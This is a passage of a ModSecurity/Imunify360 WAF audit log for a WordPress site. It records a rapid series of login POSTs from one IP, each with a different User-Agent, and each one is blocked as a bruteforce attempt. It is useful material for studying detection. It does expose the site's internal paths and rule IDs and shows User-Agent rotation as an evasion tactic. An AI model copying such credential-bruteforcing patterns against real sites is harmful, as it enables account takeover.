X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--5987702b-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--5987702b-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948425488 3238 (- - -)
Stopwatch2: 1789313948425488 3238; combined=761, p1=308, p2=198, p3=0, p4=0, p5=255, sr=107, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5987702b-Z--

--e568fe6a-A--
[13/Sep/2026:18:39:08.814160 +0300] aqbDnPut1GUrjaX0wO44cgAAAMc 134.185.87.66 43276 127.0.0.1 7081
--e568fe6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--e568fe6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--e568fe6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313948812397 1844 (- - -)
Stopwatch2: 1789313948812397 1844; combined=625, p1=296, p2=78, p3=0, p4=0, p5=251, sr=136, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e568fe6a-Z--

--a3f36346-A--
[13/Sep/2026:18:39:09.194741 +0300] aqbDnfut1GUrjaX0wO44dAAAAMA 134.185.87.66 43300 127.0.0.1 7081
--a3f36346-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 119
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--a3f36346-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a3f36346-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949192958 1850 (- - -)
Stopwatch2: 1789313949192958 1850; combined=660, p1=254, p2=76, p3=0, p4=0, p5=330, sr=97, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a3f36346-Z--

--8584c824-A--
[13/Sep/2026:18:39:09.575453 +0300] aqbDnfut1GUrjaX0wO44dQAAANc 134.185.87.66 43320 127.0.0.1 7081
--8584c824-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 99
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--8584c824-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--8584c824-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949573049 2473 (- - -)
Stopwatch2: 1789313949573049 2473; combined=798, p1=351, p2=126, p3=0, p4=0, p5=321, sr=146, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8584c824-Z--

--0cc65333-A--
[13/Sep/2026:18:39:09.955144 +0300] aqbDnfut1GUrjaX0wO44dwAAAMk 134.185.87.66 43332 127.0.0.1 7081
--0cc65333-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 115
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--0cc65333-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--0cc65333-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313949953432 1778 (- - -)
Stopwatch2: 1789313949953432 1778; combined=622, p1=276, p2=74, p3=0, p4=0, p5=272, sr=123, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0cc65333-Z--

--df484607-A--
[13/Sep/2026:18:39:10.340094 +0300] aqbDnvut1GUrjaX0wO44eQAAANM 134.185.87.66 43352 127.0.0.1 7081
--df484607-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 97
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--df484607-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--df484607-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313950338096 2053 (- - -)
Stopwatch2: 1789313950338096 2053; combined=694, p1=301, p2=141, p3=0, p4=0, p5=251, sr=98, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--df484607-Z--

--63d2b006-A--
[13/Sep/2026:18:39:10.721786 +0300] aqbDnhsbgHO3aGL3jiTwsAAAABM 134.185.87.66 43382 127.0.0.1 7081
--63d2b006-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 93
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--63d2b006-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--63d2b006-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313950719783 2058 (- - -)
Stopwatch2: 1789313950719783 2058; combined=601, p1=238, p2=97, p3=0, p4=0, p5=266, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--63d2b006-Z--

--52cb0532-A--
[13/Sep/2026:18:39:11.114784 +0300] aqbDnxsbgHO3aGL3jiTwsQAAABg 134.185.87.66 43398 127.0.0.1 7081
--52cb0532-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 95
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--52cb0532-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--52cb0532-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951112733 2122 (- - -)
Stopwatch2: 1789313951112733 2122; combined=763, p1=342, p2=88, p3=0, p4=0, p5=333, sr=172, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--52cb0532-Z--

--72d60376-A--
[13/Sep/2026:18:39:11.505670 +0300] aqbDn-ut1GUrjaX0wO44fQAAANE 134.185.87.66 43418 127.0.0.1 7081
--72d60376-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 124
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--72d60376-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--72d60376-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951503722 2020 (- - -)
Stopwatch2: 1789313951503722 2020; combined=672, p1=285, p2=84, p3=0, p4=0, p5=303, sr=94, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--72d60376-Z--

--9eca1a6a-A--
[13/Sep/2026:18:39:11.905343 +0300] aqbDn0hjHs68UzErry1KwgAAAJM 134.185.87.66 43438 127.0.0.1 7081
--9eca1a6a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 102
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--9eca1a6a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--9eca1a6a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313951903541 1866 (- - -)
Stopwatch2: 1789313951903541 1866; combined=559, p1=268, p2=74, p3=0, p4=0, p5=217, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9eca1a6a-Z--

--62e1826a-A--
[13/Sep/2026:18:39:12.283749 +0300] aqbDoEhjHs68UzErry1KwwAAAJQ 134.185.87.66 43466 127.0.0.1 7081
--62e1826a-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 98
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--62e1826a-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--62e1826a-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313952282042 1770 (- - -)
Stopwatch2: 1789313952282042 1770; combined=622, p1=242, p2=80, p3=0, p4=0, p5=300, sr=85, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--62e1826a-Z--

--2c97e05f-A--
[13/Sep/2026:18:39:12.664429 +0300] aqbDoPut1GUrjaX0wO44gQAAAMM 134.185.87.66 43480 127.0.0.1 7081
--2c97e05f-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:93.0) Gecko/20100101 Firefox/93.0
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--2c97e05f-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--2c97e05f-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313952661784 2713 (- - -)
Stopwatch2: 1789313952661784 2713; combined=1261, p1=869, p2=96, p3=0, p4=0, p5=296, sr=100, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2c97e05f-Z--

--83fe3c38-A--
[13/Sep/2026:18:39:13.045910 +0300] aqbDoUhjHs68UzErry1KxAAAAJc 134.185.87.66 43498 127.0.0.1 7081
--83fe3c38-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 121
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--83fe3c38-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--83fe3c38-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953044068 1897 (- - -)
Stopwatch2: 1789313953044068 1897; combined=677, p1=302, p2=72, p3=0, p4=0, p5=303, sr=163, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--83fe3c38-Z--

--faa95219-A--
[13/Sep/2026:18:39:13.431702 +0300] aqbDofut1GUrjaX0wO44gwAAANU 134.185.87.66 43520 127.0.0.1 7081
--faa95219-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 127
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--faa95219-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--faa95219-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953429904 1863 (- - -)
Stopwatch2: 1789313953429904 1863; combined=651, p1=258, p2=81, p3=0, p4=0, p5=312, sr=91, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--faa95219-Z--

--402b8910-A--
[13/Sep/2026:18:39:13.815101 +0300] aqbDoUhjHs68UzErry1KxQAAAIU 134.185.87.66 43548 127.0.0.1 7081
--402b8910-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 123
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0.1
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--402b8910-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--402b8910-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313953813263 1914 (- - -)
Stopwatch2: 1789313953813263 1914; combined=645, p1=260, p2=87, p3=0, p4=0, p5=298, sr=96, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--402b8910-Z--

--ba8e1974-A--
[13/Sep/2026:18:39:14.201262 +0300] aqbDokhjHs68UzErry1KxgAAAIQ 134.185.87.66 43568 127.0.0.1 7081
--ba8e1974-B--
POST /wp-login.php HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 134.185.87.66
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 112
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Upgrade-Insecure-Requests: 1
Referer: https://happy-digital.ro/wp-login.php
Content-Type: application/x-www-form-urlencoded

--ba8e1974-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--ba8e1974-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "42"] [id "33302"] [msg "IM360 WAF: WordPress Bruteforce RBL block||T:APACHE||MV:1"] [severity "CRITICAL"] [tag "wp_core"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Apache-Handler: proxy:unix:/var/www/vhosts/system/happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789313954199536 1782 (- - -)
